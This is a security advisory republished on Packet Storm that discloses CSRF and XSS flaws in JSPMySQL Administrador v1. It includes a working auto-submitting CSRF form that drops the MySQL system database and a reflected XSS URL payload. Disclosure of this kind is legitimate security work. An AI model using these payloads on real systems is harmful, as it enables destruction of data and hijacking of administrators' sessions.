exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JSPMySQL Administrador 1 Cross Site Request Forgery / Cross Site Scripting

JSPMySQL Administrador 1 Cross Site Request Forgery / Cross Site Scripting
Posted Sep 6, 2015
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

JSPMySQL Administrador version 1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, sql injection, add administrator, csrf
advisories | CVE-2015-6944, CVE-2015-6945
SHA-256 | 4b98d4efa8a0641fc2b2ad81640cba5efe37dfc82afa6edbaf9506d3e7b1b8c5

JSPMySQL Administrador 1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-JSPMYSQLADMINISTRADOR-0904.txt



Vendor:
================================
JSPMySQL Administrador
https://sites.google.com/site/mfpledon/producao-de-software



Product:
================================
JSPMySQL Administrador v.1 is a remote administration of MySQL databases
that are on a Web server using JSP technology


Vulnerability Type:
===================
CSRF & XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================

1) No CSRF token exists allowing remote attackers to run arbitrary SQL
commands
on the MySQL database.

2) XSS entry point exists on the listaBD2.jsp web page opening up the
application
for client side browser code execution.

In either case get victim to visit our malicious webpage or click on our
malicious linx then KABOOOOOOOOOOOOOOOOOOOOOOM!!!




Exploit code(s):
===============

1- CSRF to drop the default MySQL database on the remote server:
----------------------------------------------------------------

<!DOCTYPE>
<html>
<head>
<title>JSP-MYSQL-ADMIN-CSRF</title>

<body onLoad="doit()">

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}

<!-- CSRF DROP MYSQL DATABASE -->

<form id="HELL" action="http://localhost:8081/sys/sys/listaBD2.jsp"
method="post">
<input type="text" name="cmd" value="DROP DATABASE mysql"/>
<input type="text" name="btncmd" value="Enviar" />
<input type="text" name="bd" value="mysql" />
</form>



2- XSS client side code execution delivered to the victim:
----------------------------------------------------------

http://localhost:8081/sys/sys/listaBD2.jsp?bd=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E





Disclosure Timeline:
=========================================================


Vendor Notification: August 31, 2015
September 4, 2015 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s): [+] POST & GET


Vulnerable Product: [+] JSPMySQL Administrador v.1


Vulnerable Parameter(s): [+] cmd, bd


Affected Area(s): [+] listaBD2.jsp


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close